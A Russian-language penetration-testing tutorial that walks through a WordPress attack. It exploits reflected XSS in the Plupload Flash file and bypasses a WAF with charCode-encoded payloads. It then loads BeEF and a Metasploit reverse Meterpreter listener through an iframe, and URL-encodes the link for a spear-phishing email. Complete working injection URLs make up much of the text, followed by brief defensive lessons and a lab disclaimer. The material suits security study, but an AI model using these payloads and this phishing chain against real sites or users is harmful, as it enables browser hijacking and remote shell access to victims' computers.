Взлом WordPress при помощи XSS, обход WAF и получение shell-доступа

Взлом WordPress при помощи XSS, обход WAF и получение shell-доступа

Вне всяких сомнений на сегодняшний день WordPress является самой популярной системой управления контентом (Content Management System, CMS).

Автор: don

Вне всяких сомнений на сегодняшний день WordPress является самой популярной системой управления контентом (Content Management System, CMS). Согласно исследованию W3 Techs, доля WordPress составляет 58,2% от веб-сайтов, чьи системы управления контентом нам известны или 18,6% от всех веб-сайтов. Как и все самые современные и популярные кмски стандартная сборка WordPress достаточно защищена и безопасна. Однако для расширения функционала владельцы сайтов на WordPress часто устанавливают множество дополнительных плагинов. На начало июля 2013 года официальный репозитарий WordPress.org насчитывал 25700 плагинов, которые были загружены более 475 миллиона раз. И это не считая тех плагинов, которые не входят в официальный репозитарий WordPress. В основном именно сторонние расширения делают веб-сайт уязвимым и используются злоумышленниками при реализации атак на WordPress. Многие из установленных плагинов не обновляются, и даже те из них, которые не активированы через WordPress Dashboard, предоставляют прекрасные возможности для осуществления атак. Кроме того, на хостингах, разделенных на несколько пользователей, или в консолидированных корпоративных дата центрах, ваш экземпляр WordPress скорее всего не единственное веб-приложение, находящееся на сервере.

В целях экономии времени я не буду переливать из пустого в порожнее и рассказывать вам о том, как опасны XSS-атаки. На данный момент все еще существует некоторая путаница вокруг XSS и его роли во время проникновения во внутреннюю сеть, а также способов осуществления подобных атак и многократного использования XSS. Все дело в том, что атакующий не может использовать XSS-брешь для того, чтобы проникнуть напрямую на сервер. Вместо этого, комбинируя уязвимости и используя социальную инженерию, при помощи XSS можно довольно легко скомпрометировать систему. В этом руководстве я покажу, как взломать WordPress при помощи XSS, а затем получить полный доступ к системе.

Приступаем к взлому WordPress

Раз эта статья опубликована The Ethical Hacker Network, основное внимание будет уделено механизму атаки с целью последующей разработки способов по защите от подобных вторжений. Вне зависимости от того реализуется ли настоящая атака или производится легитимный пентест, первым шагом будет исследование окружающей обстановки. Если предположить, что злоумышленник уже нацелился атаковать вашу организацию или, если речь идет о легитимном пентесте, нанята команда специалистов по безопасности, их первым шагом должно быть обнаружение установленной системы WordPress. Вы можете попробовать получить доступ к корневым папкам WordPress, включив их в URI-путь того хоста, который вы тестируете:

http://[webhost]/wp-admin/
http://[webhost]/wp-includes/

Вдобавок к этому, файл «robots.txt» также может содержать всю необходимую информацию. На Рисунке 1 показаны директории, которые были явно защищены от индексации поисковой системой, что говорит о присутствии на сервере системы WordPress. Из рисунка мы также можем определить местонахождения системы.

Рисунок 1 – Содержимое файла Robots.txt

В некоторых случаях WordPress установлен в поддиректориях. Поисковая система Google прекрасно индексирует скрытые файлы и директории. Перед началом брутфорса веб-сервера утилитами наподобие DirBuster, которые ищут скрытые файлы и директории, обратитесь к поисковой системе Google. Возможно, эта работа уже сделана для вас.

Google часто индексирует основные файлы WordPress. Если ввести поисковый запрос «site:<target site> inurl:/wp-includes/ inurl:plupload» применительно к определенному сайту, вы можете определить, какие файлы проиндексированы. На Рисунке 2 показано, что Google проиндексировала файл типа Shockwave Flash File (plupload.flash.swf), находящийся в директории «/wp-includes/» исследуемого нами хоста.

Рисунок 2 – Результат поискового запроса

Тестируем первоначальные находки

Для того, чтобы сымитировать рабочий веб-сайт, упомянутый выше, внутри лабораторной среды был установлен WordPress и плагины. Плагин под названием «Plupload» позволяет загружать файлы на веб-сервер. При клике на ссылку, показанную на Рисунке 3, отображается пустая страница Shockwave Flash:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=

Рисунок 3 – URL плагина «Plupload»

При клике в любом месте пустого пространства страницы, сгенерированной плагином, появится стандартное окно обзора файлов, где мы можем выбрать файл для загрузки на сервер. В большинстве случаев, директория, куда загружаются файлы, находится вне корневой папки веб-сервера и, как правило, не доступна. Тем не менее, не лишним будет проверить ее присутствие.
Давайте рассмотрим внимательнее URI-строку «plupload/plupload.flash.swf?id=». Этот URL – прекрасное место для тестирования XSS-инъекций. Строка, показанная на Рисунке 4, подтверждает наши догадки:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(c){alert(1);}//

Рисунок 4 – Первоначальная XSS-инъекция

После совершения инъекции браузер отражает строку в виде окна с сообщением, показанного на Рисунке 5:

Рисунок 5 – Результаты работы XSS-инъекции

Для того чтобы облегчить реализацию следующей стадии атаки, рассмотрим поподробнее XSS-строку. Первоначальная комбинация символов «\”));» экранирует XSS-строку за пределы функции JavaScript. Обычно, входные данные отражаются обратно в HTML-код, например, внутри параметра «value=””». На первый взгляд, решить эту проблему довольно легко. Однако в этом случае, выходные данные застревают внутри JavaScript-кода. Текущая функция экранируется при помощи символов «\”));», за которой следует новая функция «catch(c){alert(1);}//». Браузер считывает этот код и выдает окно с сообщением.

А почему бы не использовать символы «<» или «>» или стандартный тег «<script>»? В данном конкретном случае это не сработает, поскольку на клиенте установлен Web Application Firewall (WAF), который фильтрует определенные символы (например, «<» и «>»), что делает невозможным использование HTML-тегов.

Обходные маневры

Продолжаем наши исследования. Из предыдущего примера понятно, что XSS-инъекция работает и окно с сообщением можно успешно вывести внутри браузера при помощи JavaScript. Однако отображение простого окна не столь интересно, и требуется инжект более интересного HTML-кода. Так как же мы можем использовать эту брешь на более продвинутом уровне?

Альтернативный метод инжектирования HTML-кода – его кодирование при помощи JavaScript-функции «CharCodeAt()». Наглядный пример того, как это работает, можно увидеть на странице «Uncle Jim’s Javascript Utilities». Эта функция позволяет кодировать HTML-теги для обхода фильтрации WAF. Затем JavaScript отражается обратно в браузер и при помощи функции «FromCharCode()» происходит декодирование в обычный HTML. На основе XSS-строки из предыдущего примера создадим обновленный вариант, где ключевое слово «alert» заменяется на «document.write», как показано на Рисунке 6:

‘\”));}catch(e){document.write

Рисунок 6 – часть новой XSS-строки

Затем добавьте «(String.fromCharCode», как показано на Рисунке 7:
(String.fromCharCode

Рисунок 7 – часть новой XSS-строки

Используйте функцию «charCodeAt()» для кодирования HTML-кода, показанного на Рисунке 8:

<html><body><script>alert(“XSS”)</script></body></html>

Рисунок 8 – HTML-код

Закодированный HTML-код будет выглядеть, как показано на Рисунке 9:

60,104,116,109,108,62,60,98,111,100,121,62,60,115,99,114,105,112,116,62,97,108,101,114,116,
40,34,88,83,83,34,41,60,47,115,99,114,105,112,116,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62

Рисунок 9 – закодированный HTML-код

Теперь собираем итоговый URL для инжекта и посылаем его на веб-сервер. На Рисунке 10 показан готовый URL:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,115,99,114,
105,112,116,62,97,108,101,114,116,40,34,88,83,83,34,41,60,47,115,99,114,105,112,116,62,60,47,98,111,100,
121,62,60,47,104,116,109,108,62));}//

Рисунок 10 – готовый URL для осуществления XSS-инжекта

В результате инжекта в браузере вновь появляется сообщение с надписью «XSS», как показано на Рисунке 11:

Рисунок 11 – сообщение с надписью «XSS», которое выводится после XSS-инжекта

Еще одно окно с сообщением? Да. Единственное, что о чем я не упомянул, - используя JavaScript-функцию «document.write» мы полностью устранились от Shockwave Flash файла «plupload.flash.swf» и, по сути, создали новую страницу. Кроме того, используя функцию кодирования HTML-кода и его отражения на пустую страницу, мы обошли WAF.

Развиваем идею

Настало время поднять локальную инсталляцию Browser Exploitation Framework (BeEF), как показано на Рисунке 12.

Рисунок 12 – BeEF

При добавлении в текущий URL для XSS-инъекции тега «iFrame» создается ссылка на локальный экземпляр BeEF. Теперь мы можем собрать новый HTML-код, включающий тег «iFrame», как показано на Рисунке 13:

<html><body><iframe src=”http://127.0.0.1:3000/demos/basic.html”></iframe></body></html>

Рисунок 13 – HTML-код

И вновь используем функцию «charCodeAt()» для кодирования HTML-кода, как показано на Рисунке 14:

60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,
116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,51,48,48,48,47,100,101,109,111,115,47,98,97,115,105,99,46,
104,116,109,108,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62

Рисунок 14 – закодированный HTML-код

Теперь собираем новый URL для осуществления XSS-инъекции. Итоговая строка показана на Рисунке 15:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,
109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,51,48,48,48,47,100,101,109,
111,115,47,98,97,115,105,99,46,104,116,109,108,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,
47,104,116,109,108,62));}//

Рисунок 15 – итоговый URL для осуществления XSS-инъекции

Теперь в браузере отобразится новая веб-страница, которая содержит BeEF «iFrame», указывающий на локальный запущенный экземпляр BeEF. Сейчас браузер уязвим к различным эксплоитам, которые содержит управляющая панель BeEF (см. Рисунок 16).

Рисунок 16 – BeEF «iFrame»

Последующие шаги по адаптации нашего кода уже зависят от тех целей, которых мы хотим достичь. К примеру, созданный нами URL можно использовать при целевом фишинге. Ссылку можно подвергнуть обфускации или отослать так, как есть. Обфускация ссылки повышает шансы на то, что по ней кликнет жертва. Однако есть и побочный эффект: правильно сконфигурированные спам-фильтры могут заблокировать письма, которые содержат обфусцированные ссылки.

Помните, подобные атаки реализуются на стороне жертвы. Успеху подобных атак способствует использование социальной инженерии, которая наилучшим образом работает через электронную почту.

Получение shell-доступа

Хотя браузер, подцепленный BeEF, может дать выборочный контроль злоумышленнику над системой жертвы, и мы могли убедиться в эффективности этого инструмента, однако получение shell-доступа при помощи BeEF может быть проблематичным. Для решения этой задачи больше подходит Metasploit Framework.

Внутри консоли Metasploit будет создан listener. Также будет использоваться эксплоит «java_jre17_jmxbean_2» и reverse TCP Meterpreter payload для ОС Windows, как показано на Рисунке 17. И listener и реверсивный обработчик (reverse handler) будут использовать порты 8080 и 4444 соответственно.

Рисунок 17 – настройка MSF для использования эксплоита «java_jre17_jmxbean_2»

Listener настраивается так, как показано на Рисунке 18.

Рисунок 18 – настройка listener

Listener и реверсивный обработчик стартуют, как показано на Рисунке 19. Обратите внимание, строки URL и URI автоматически создаются listener’ом. Эти данные будут использоваться при рефакторинге HTML-кода, содержащего URL для осуществления XSS-инъекции.

Рисунок 19 – старт MSF Listener и реверсивного обработчика

Обновленный HTML-код, где в качестве источника у «iFrame» указана ссылка на Metasploit listener, показан на Рисунке 20:

<html><body><iframe src=”http://10.0.0.2:8080/rPJGQW1Mp9″></iframe></body></html>

Рисунок 20 – HTML-код

И вновь используем функцию «charCodeAt()» для кодирования HTML (Рисунок 21):

60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,
116,116,112,58,47,47,49,48,46,48,46,48,46,50,58,56,48,56,48,47,114,80,74,71,81,87,49,77,112,57,34,62,60,47
105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62

Рисунок 21 – Закодированный HTML

Теперь собираем итоговый URL для осуществления XSS-инъекции (Рисунок 22):

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,
109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,48,46,48,46,50,58,56,48,56,48,47,114,80,74,71,81,
87,49,77,112,57,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62));}//

Рисунок 22 – итоговый URL для осуществления XSS-инъекции

Для еще большей маскировки кодируется и сам URL (Рисунок 23).

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf%3Fid%3D%5C%22%29%29%3B%7
Dcatch%28e%29%7Bdocument.write%28String.fromCharCode%2860%2C104%2C116%2C109%2C108%2C
62%2C60%2C98%2C111%2C100%2C121%2C62%2C60%2C105%2C102%2C114%2C97%2C109%2C101
%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C
49%2C48%2C46%2C48%2C46%2C48%2C46%2C50%2C58%2C56%2C48%2C56%2C48%2C47%2C114%
2C80%2C74%2C71%2C81%2C87%2C49%2C77%2C112%2C57%2C34%2C62%2C60%2C47%2C105%2C
102%2C114%2C97%2C109%2C101%2C62%2C60%2C47%2C98%2C111%2C100%2C121%2C62%2C60%
2C47%2C104%2C116%2C109%2C108%2C62%29%29%3B%7D//

Рисунок 23 – закодированный URL

Теперь мы создаем целевое сообщение, содержащее закодированный URL, и отсылаем его жертве. Пользователь, который видит ссылку на знакомый ему сайт, часто думает, что она безопасна. XSS-строка инжектируется в приложение и отражается обратно в браузер, затем декодируется, после чего создается новая страница. Далее при помощи «iFrame» происходит запрос к Metasploit listener (Рисунок 24), на компьютере жертвы выполняется полезная нагрузка, а затем открывается сессия Meterpreter.

Рисунок 24 – успешная реализация атаки

После успешной атаки злоумышленник получает shell-доступ к рабочей стации жертвы, как показано на Рисунке 25.

Рисунок 25 – доступ к командной оболочке

После создания сессии Meterpreter с компьютера жертвы был снят скриншот рабочего стола (Рисунок 26).

Рисунок 26 – Скриншот рабочего стола

Уроки на будущее

В это статье было не только продемонстрировано, что возможен взлом WordPress через сторонние плагины при помощи XSS, но и техники, которые помогают обойти распространенные средства для безопасности в сети. В конце концов, все это переросло в получение полного доступа к компьютеру жертвы. Какие же мы можем извлечь уроки?

Если взглянуть на ситуацию с корпоративной точки зрения, можно усвоить несколько уроков:
  • Всегда будьте осведомлены о том, что находится на ваших серверах. Сотрудники, сами того не подозревая, могут создать брешь в ваших системах, которые содержат конфиденциальные данные.
  • Все то же самое относится и к операционным системам (Windows, OSX и Android). Обычно взламываются не сами ОС, а дополнительные программы, установленные на них. Используйте только те программы, которые вам действительно нужны, и регулярно устанавливайте обновления к ним.
  • Тесты, тесты и еще раз тесты. Даже если плагин работает и взят из надежного источника, нельзя быть уверенным в том, что код этого плагина безопасен. Даже если у вас есть возможность провести тестирование своими силами (и тем более, если у вас такой возможности нет), наймите профессионального пентестера веб-приложений. Вся ваша компания находится под угрозой.
Если посмотреть на ситуацию с точки зрения отдельного пользователя, следует сделать те же самые выводы лишь за тем исключением, что масштабы могут быть не такими большими, как в случае с корпорацией. В любом случае помните о том, что если не предпринять мер предосторожности, ваше увлечение никогда станет работой вашей мечты, а малый бизнес никогда не станет большим.

Вне зависимости от того, какому лагерю вы относитесь, выводы одни и те же… Оставайтесь осведомленными, оставайтесь аккуратными, оставайтесь в безопасности.

Оговорка: все примеры, представленные выше, были найдены в реальных условиях. Дальнейшее тестирование проводилось в лабораторной среде. Целью атаки был плагин «Plupload» системы WordPress. Эксплуатируемая уязвимость была найдена OSVDB (ID 89576) и Secunia (ID 51967). Осуществление этой атаки на системы, к которым у вас нет доступа, строго запрещено законом и не является целью данной статьи.

Большой брат следит за вами, но мы знаем, как остановить его

Подпишитесь на наш канал!